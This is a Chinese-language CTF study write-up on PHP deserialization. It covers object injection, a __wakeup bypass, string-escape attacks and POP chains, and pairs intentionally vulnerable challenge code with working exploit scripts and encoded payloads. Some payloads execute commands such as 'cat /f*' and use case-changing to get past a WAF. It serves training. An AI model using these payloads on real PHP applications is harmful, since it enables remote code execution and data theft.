一、简单的反序列化题目
1.P1
task.php
<?php
highlight_file(__FILE__);
class NSS {
var $name;
function __destruct() {
if ($this->name === 'ctf') {
echo getenv('FLAG');
}
}
}
unserialize($_GET['n']);
exp.php
<?php
class NSS {
var $name='ctf';
}
$a=new NSS();
print(urlencode(serialize($a)));
//O%3A3%3A%22NSS%22%3A1%3A%7Bs%3A4%3A%22name%22%3Bs%3A3%3A%22ctf%22%3B%7D
2.[SWPUCTF 2021 新生赛]ez_unserialize
task.php
<?php
error_reporting(0);
show_source("cl45s.php");
class wllm{
public $admin;
public $passwd;
public function __construct(){
$this->admin ="user";
$this->passwd = "123456";
}
public function __destruct(){
if($this->admin === "admin" && $this->passwd === "ctf"){
include("flag.php");
echo $flag;
}else{
echo $this->admin;
echo $this->passwd;
echo "Just a bit more!";
}
}
}
$p = $_GET['p'];
unserialize($p);
?>
exp.php
O%3A4%3A%22wllm%22%3A2%3A%7Bs%3A5%3A%22admin%22%3Bs%3A5%3A%22admin%22%3Bs%3A6%3A%22passwd%22%3Bs%3A3%3A%22ctf%22%3B%7D
<?php
class wllm{
public $admin="admin";
public $passwd="ctf";
}
$a=new wllm();
print(urlencode(serialize($a)));
//O%3A4%3A%22wllm%22%3A2%3A%7Bs%3A5%3A%22admin%22%3Bs%3A5%3A%22admin%22%3Bs%3A6%3A%22passwd%22%3Bs%3A3%3A%22ctf%22%3B%7D
二、wake_up 绕过
1.P3
task.php
<?php
highlight_file(__FILE__);
class NSS {
var $name;
function __wakeup() {
$this->name = '1';
}
function __destruct() {
if ($this->name === 'ctf') {
echo getenv('FLAG');
}
}
}
unserialize($_GET['n']);
exp.php
<?php
class NSS {
var $name='ctf';
}
$a=new NSS();
print(urlencode(serialize($a)));
//O%3A3%3A%22NSS%22%3A1%3A%7Bs%3A4%3A%22name%22%3Bs%3A3%3A%22ctf%22%3B%7D
//O%3A3%3A"NSS"%3A2%3A{s%3A4%3A"name"%3Bs%3A3%3A"ctf"%3B}
2.[极客大挑战 2019]PHP
task.php
<?php
include 'flag.php';
error_reporting(0);
class Name{
private $username = 'nonono';
private $password = 'yesyes';
public function __construct($username,$password){
$this->username = $username;
$this->password = $password;
}
function __wakeup(){
$this->username = 'guest';
}
function __destruct(){
if ($this->password != 100) {
echo "</br>NO!!!hacker!!!</br>";
echo "You name is: ";
echo $this->username;echo "</br>";
echo "You password is: ";
echo $this->password;echo "</br>";
die();
}
if ($this->username === 'admin') {
global $flag;
echo $flag;
}else{
echo "</br>hello my friend~~</br>sorry i can't give you the flag!";
die();
}
}
}
?>
exp.php
<?php
class Name{
private $username = 'nonono';
private $password = 'yesyes';
public function __construct($username,$password){
$this->username = $username;
$this->password = $password;
}
function __wakeup(){
$this->username = 'guest';
}
function __destruct(){
if ($this->password != 100) {
echo "</br>NO!!!hacker!!!</br>";
echo "You name is: ";
echo $this->username;echo "</br>";
echo "You password is: ";
echo $this->password;echo "</br>";
die();
}
if ($this->username === 'admin') {
global $flag;
echo $flag;
}else{
echo "</br>hello my friend~~</br>sorry i can't give you the flag!";
die();
}
}
}
$a=new Name("admin","100");
print(urlencode(serialize($a)));
//O%3A4%3A%22Name%22%3A2%3A%7Bs%3A14%3A%22%00Name%00username%22%3Bs%3A5%3A%22admin%22%3Bs%3A14%3A%22%00Name%00password%22%3Bs%3A3%3A%22100%22%3B%7D
//O%3A4%3A%22Name%22%3A3%3A%7Bs%3A14%3A%22%00Name%00username%22%3Bs%3A5%3A%22admin%22%3Bs%3A14%3A%22%00Name%00password%22%3Bs%3A3%3A%22100%22%3B%7D
三、反序列化字符逃逸
1.字符增加
(1).task.php
<?php
error_reporting(0);
class a
{
public $uname;
public $password;
public function __construct($uname,$password)
{
$this->uname=$uname;
$this->password=$password;
}
public function __wakeup()
{
if($this->password==='yu22x')
{
include('flag.php');
echo $flag;
}
else
{
echo 'wrong password';
}
}
}
function filter($string){
return str_replace('Firebasky','Firebaskyup',$string);
}
$uname=$_GET[1];
$password=1;
$ser=filter(serialize(new a($uname,$password)));
$test=unserialize($ser);
?>
思路分析
需要反序列化后的password变成yu22x
我们随便带入一个username,password修改为yu22x得到目标字符串
<?php
class a
{
public $uname;
public $password;
public function __construct($uname,$password)
{
$this->uname=$uname;
$this->password=$password;
}
public function __wakeup()
{
if($this->password==='yu22x')
{
include('flag.php');
echo $flag;
}
else
{
echo 'wrong password';
}
}
}
$b=new a('admin','yu22x');
echo serialize($b);
#O:1:"a":2:{s:5:"uname";s:5:"admin";s:8:"password";s:5:"yu22x";}
其中我们需要利用的子串是";s:8:“password”;s:5:“yu22x”;}长度30位。
观察替换规则,由Firebasky变成Firebaskyup字符增加2,因此我们需要15个Firebasky
得到payload:
FirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebasky";s:8:"password";s:5:"yu22x";}
(2).index.php
<?php
error_reporting(0);
class message{
public $from;
public $msg;
public $to;
public $token='user';
public function __construct($f,$m,$t){
$this->from = $f;
$this->msg = $m;
$this->to = $t;
}
}
$f = $_GET['f'];
$m = $_GET['m'];
$t = $_GET['t'];
if(isset($f) && isset($m) && isset($t)){
$msg = new message($f,$m,$t);
$umsg = str_replace('fuck', 'loveU', serialize($msg));
setcookie('msg',base64_encode($umsg));
echo 'Your message has been sent';
}
highlight_file(__FILE__);
message.php
<?php
highlight_file(__FILE__);
include('flag.php');
class message{
public $from;
public $msg;
public $to;
public $token='user';
public function __construct($f,$m,$t){
$this->from = $f;
$this->msg = $m;
$this->to = $t;
}
}
if(isset($_COOKIE['msg'])){
$msg = unserialize(base64_decode($_COOKIE['msg']));
if($msg->token=='admin'){
echo $flag;
}
}
思路分析
我们需要把message中的token修改为admin获得flag
首先得到目标字符串
<?php
class message{
public $from;
public $msg;
public $to;
public $token='admin';
public function __construct($f,$m,$t){
$this->from = $f;
$this->msg = $m;
$this->to = $t;
}
}
$b=new message('1','2','3');
echo serialize($b);
#O:7:"message":4:{s:4:"from";s:1:"1";s:3:"msg";s:1:"2";s:2:"to";s:1:"3";s:5:"token";s:5:"admin";}
我们需要构造的子串是";s:5:“token”;s:5:“admin”;},长度为27,观察替换规则,一个fuck,变成一个loveU,字符增加1,我们需要27个fuck。
payload:
?f=1&m=1&t=fuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuck";s:5:"token";s:5:"admin";}
然后访问messa.php获得flag
(3).index.php
<?php
highlight_file(__FILE__);
function waf($str){
return str_replace("bad","good",$str);
}
class GetFlag {
public $key;
public $cmd = "whoami";
public function __construct($key)
{
$this->key = $key;
}
public function __destruct()
{
system($this->cmd);
}
}
unserialize(waf(serialize(new GetFlag($_GET['key']))));
思路分析
通过控制GetFlag当中的cmd来执行不同的系统命令,获得flag。
假设我们想要执行ls命令,那么目标字符串就是 O:7:“GetFlag”:2:{s:3:“key”;s:1:“1”;s:3:“cmd”;s:2:“ls”;}
那么我们需要构造的字串是";s:3:“cmd”;s:2:“ls”;},长度为22,观察替换规则,bad变为good,这时候增加一个字符,因此需要22个bad。
payload:
?key=badbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbad";s:3:"cmd";s:2:"ls";}
这时候,我们成功执行了ls命令
最终payload:
?key=badbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbad";s:3:"cmd";s:7:"cat /f*";}
2.字符减少
(1).task.php
<?php
function filter($string){
$filter = '/pp/i';
return preg_replace($filter,'W',$string);
}
$username = "ppurlet"
$age = "10";
$user = array($username,$age);
var_dump (serialize($user)); # 序列化
echo "<pre>";
$r = filter(serialize($user)); # 替换后序列化
var_dump ($r);
var_dump (unserialize($r)); # 打印反序列
?>
//将age修改为20
思路分析
目标字符串 a:2:{i:0;s:7:“ppurlet”;i:1;s:2:“20”;}
如果我们控制age=20,正常序列化的结果是;i:1;s:2:“20”;}
在其前边插入任意字符和双引号序列化之后得到:a:2:{i:0;s:7:“Wurlet”;i:1;s:17:“1”;i:1;s:2:“20”;}";}
需要吞掉";i:1;s:17:"1这个字符串也就是13个字符。
<?php
function filter($string){
$filter = '/pp/i';
return preg_replace($filter,'W',$string);
}
$username = "pppppppppppppppppppppppppp"; //长度为13
$age = '1";i:1;s:2:"20";}'; //正常序列化的结果
$user = array($username,$age);
var_dump (serialize($user)); # 序列化
echo "<pre>";
$r = filter(serialize($user)); # 替换后序列化
var_dump ($r);
var_dump (unserialize($r)); # 打印反序列
?>
//将age修改为20
四、POP链构造
P5
task.php
<?php
highlight_file(__FILE__);
class NSS1 {
var $name;
function __destruct() {
echo $this->name;
}
}
class NSS2 {
var $name;
function __toString()
{
echo getenv('FLAG');
}
}
unserialize($_GET['n']);
exp.php
<?php
class NSS1 {
var $name;
}
class NSS2 {
var $name;
}
$a=new NSS1();
$a->name=new NSS2();
echo(serialize($a));
P6
task.php
<?php
highlight_file(__FILE__);
class NSS1 {
var $name;
function __destruct() {
echo $this->name;
}
}
class NSS2 {
var $name;
function __toString()
{
echo $this->name->test;
}
}
class NSS3 {
var $name;
var $res;
function __get($name){
$this->name->getflag();
}
function __call($name, $arguments){
if ($this->res === 'nssctf') {
echo getenv('FLAG');
}
}
}
unserialize($_GET['n']);
思路分析
调用链:NSS1__destruct() → \rightarrow → NSS2.__toString() → \rightarrow →NSS3.__get() → \rightarrow →NSS3.____call()
exp.php
<?php
class NSS1 {
var $name;
function __destruct() {
echo $this->name;
}
}
class NSS2 {
var $name;
function __toString()
{
echo $this->name->test;
}
}
class NSS3 {
var $name;
var $res;
function __get($name){
$this->name->getflag();
}
function __call($name, $arguments){
if ($this->res === 'nssctf') {
echo getenv('FLAG');
}
}
}
$a=new NSS1();
$a->name=new NSS2();
$a->name->name=new NSS3();
$a->name->name->name=new NSS3();
$a->name->name->name->res='nssctf';
echo serialize($a);
//O:4:"NSS1":1:{s:4:"name";O:4:"NSS2":1:{s:4:"name";O:4:"NSS3":2:{s:4:"name";O:4:"NSS3":2:{s:4:"name";N;s:3:"res";s:6:"nssctf";}s:3:"res";N;}}}
P7
task.php
<?php
highlight_file(__FILE__);
class NSS1 {
var $name;
function __destruct() {
echo $this->name;
}
}
class NSS2 {
var $name;
private $test;
function __set($name, $value) {
$a = $this->test;
$a($value);
}
function __toString() {
$this->name->{$this->test}();
}
}
class NSS3 {
var $name;
var $res;
function __invoke($v) {
echo $this->name->flag($v);
}
function flag($a) {
if ($a === '1') {
return getenv('FLAG');
}
}
function __call($name, $arguments){
$this->name->a = '1';
}
}
unserialize($_GET['n']);
思路分析
调用链:
NSS1.destruct() → \rightarrow → NSS2.toString() → \rightarrow →NSS3.call() → \rightarrow →NSS2.set() → \rightarrow →NSS3.invoke() → \rightarrow →NSS3.flag
需要注意的是,在NSS2中test是私有属性,因此要通过成员函数赋值。
exp.php
<?php
class NSS1 {
var $name;
}
class NSS2 {
var $name;
private $test;
function setTest($v) {
$this->test=$v;
}
}
class NSS3 {
var $name;
var $res;
}
$a=new NSS1();
$a->name=new NSS2();
$a->name->setTest('1');
$a->name->name=new NSS3();
$a->name->name->name=new NSS2();
$b = new NSS3();
$b->name = new NSS3();
$a->name->name->name->setTest($b);
echo(urlencode(serialize($a)));
[SWPUCTF 2021 新生赛]pop
task.php
<?php
error_reporting(0);
show_source("index.php");
class w44m{
private $admin = 'aaa';
protected $passwd = '123456';
public function Getflag(){
if($this->admin === 'w44m' && $this->passwd ==='08067'){
include('flag.php');
echo $flag;
}else{
echo $this->admin;
echo $this->passwd;
echo 'nono';
}
}
}
class w22m{
public $w00m;
public function __destruct(){
echo $this->w00m;
}
}
class w33m{
public $w00m;
public $w22m;
public function __toString(){
$this->w00m->{$this->w22m}();
return 0;
}
}
$w00m = $_GET['w00m'];
unserialize($w00m);
?>
思路分析
调用链:w22m.destruct() → \rightarrow →w33m.tostring → \rightarrow →w44m.Getflag()
exp.php
<?php
class w44m{
private $admin = 'w44m';
protected $passwd = '08067';
}
class w22m{
public $w00m;
}
class w33m{
public $w00m;
public $w22m;
}
$a=new w22m();
$a->w00m=new w33m();
$a->w00m->w00m=new w44m();
$a->w00m->w22m="Getflag";
echo urlencode(serialize($a));
//O%3A4%3A%22w22m%22%3A1%3A%7Bs%3A4%3A%22w00m%22%3BO%3A4%3A%22w33m%22%3A2%3A%7Bs%3A4%3A%22w00m%22%3BO%3A4%3A%22w44m%22%3A2%3A%7Bs%3A11%3A%22%00w44m%00admin%22%3Bs%3A4%3A%22w44m%22%3Bs%3A9%3A%22%00%2A%00passwd%22%3Bs%3A5%3A%2208067%22%3B%7Ds%3A4%3A%22w22m%22%3Bs%3A7%3A%22Getflag%22%3B%7D%7D
exp2.php
<?php
class w44m{
private $admin = '123456';
protected $passwd = '123';
function SetAdmin($v){
$this->admin=$v;
}
function SetPasswd($x){
$this->passwd=$x;
}
}
class w22m{
public $w00m;
}
class w33m{
public $w00m;
public $w22m;
}
$a=new w22m();
$a->w00m=new w33m();
$b=new w44m();
$b->SetAdmin('w44m');
$b->SetPasswd('08067');
$a->w00m->w00m=$b;
$a->w00m->w22m="Getflag";
echo urlencode(serialize($a));
//O%3A4%3A%22w22m%22%3A1%3A%7Bs%3A4%3A%22w00m%22%3BO%3A4%3A%22w33m%22%3A2%3A%7Bs%3A4%3A%22w00m%22%3BO%3A4%3A%22w44m%22%3A2%3A%7Bs%3A11%3A%22%00w44m%00admin%22%3Bs%3A4%3A%22w44m%22%3Bs%3A9%3A%22%00%2A%00passwd%22%3Bs%3A5%3A%2208067%22%3B%7Ds%3A4%3A%22w22m%22%3Bs%3A7%3A%22Getflag%22%3B%7D%7D
[NISACTF 2022]babyserialize
task.php
<?php
include "waf.php";
class NISA{
public $fun="show_me_flag";
public $txw4ever;
public function __wakeup()
{
if($this->fun=="show_me_flag"){
hint();
}
}
function __call($from,$val){
$this->fun=$val[0];
}
public function __toString()
{
echo $this->fun;
return " ";
}
public function __invoke()
{
checkcheck($this->txw4ever);
@eval($this->txw4ever);
}
}
class TianXiWei{
public $ext;
public $x;
public function __wakeup()
{
$this->ext->nisa($this->x);
}
}
class Ilovetxw{
public $huang;
public $su;
public function __call($fun1,$arg){
$this->huang->fun=$arg[0];
}
public function __toString(){
$bb = $this->su;
return $bb();
}
}
class four{
public $a="TXW4EVER";
private $fun='abc';
public function __set($name, $value)
{
$this->$name=$value;
if ($this->fun = "sixsixsix"){
strtolower($this->a);
}
}
}
if(isset($_GET['ser'])){
@unserialize($_GET['ser']);
}else{
highlight_file(__FILE__);
}
//func checkcheck($data){
// if(preg_match(......)){
// die(something wrong);
// }
//}
//function hint(){
// echo ".......";
// die();
//}
?>
思路分析
由危险函数eval,推出invoke,进而是Ilovetxw的tostring,进而是four里的strtolower,进而是four里的set,进而是Ilovetxw的call,进而是TianXiWei里的wakeup
因此,调用链:TianXiWei::wakeup → \rightarrow → Ilovetxw::call → \rightarrow → four::set → \rightarrow → four::strtolower → \rightarrow → Ilovetxw::tostring → \rightarrow → NISA::invoke → \rightarrow → NISA::eval
waf里边过滤了system和其他函数,但是可以大小写绕过。
exp.php
<?php
class NISA{
public $fun="";
public $txw4ever='System("cat /f*");';
}
class TianXiWei{
public $ext;
public $x;
}
class Ilovetxw{
public $huang;
public $su;
}
class four{
public $a="TXW4EVER";
private $fun='sixsixsix';
}
$xx=new TianXiWei();
$xx->ext=new Ilovetxw();
$xx->ext->huang=new four();
$xx->ext->huang->a=new Ilovetxw();
$xx->ext->huang->a->su=new NISA();
echo urlencode(serialize($xx));
//O%3A9%3A%22TianXiWei%22%3A2%3A%7Bs%3A3%3A%22ext%22%3BO%3A8%3A%22Ilovetxw%22%3A2%3A%7Bs%3A5%3A%22huang%22%3BO%3A4%3A%22four%22%3A2%3A%7Bs%3A1%3A%22a%22%3BO%3A8%3A%22Ilovetxw%22%3A2%3A%7Bs%3A5%3A%22huang%22%3BN%3Bs%3A2%3A%22su%22%3BO%3A4%3A%22NISA%22%3A2%3A%7Bs%3A3%3A%22fun%22%3Bs%3A0%3A%22%22%3Bs%3A8%3A%22txw4ever%22%3Bs%3A18%3A%22System%28%22cat+%2Ff%2A%22%29%3B%22%3B%7D%7Ds%3A9%3A%22%00four%00fun%22%3Bs%3A9%3A%22sixsixsix%22%3B%7Ds%3A2%3A%22su%22%3BN%3B%7Ds%3A1%3A%22x%22%3BN%3B%7D
phar反序列化
待续。。。。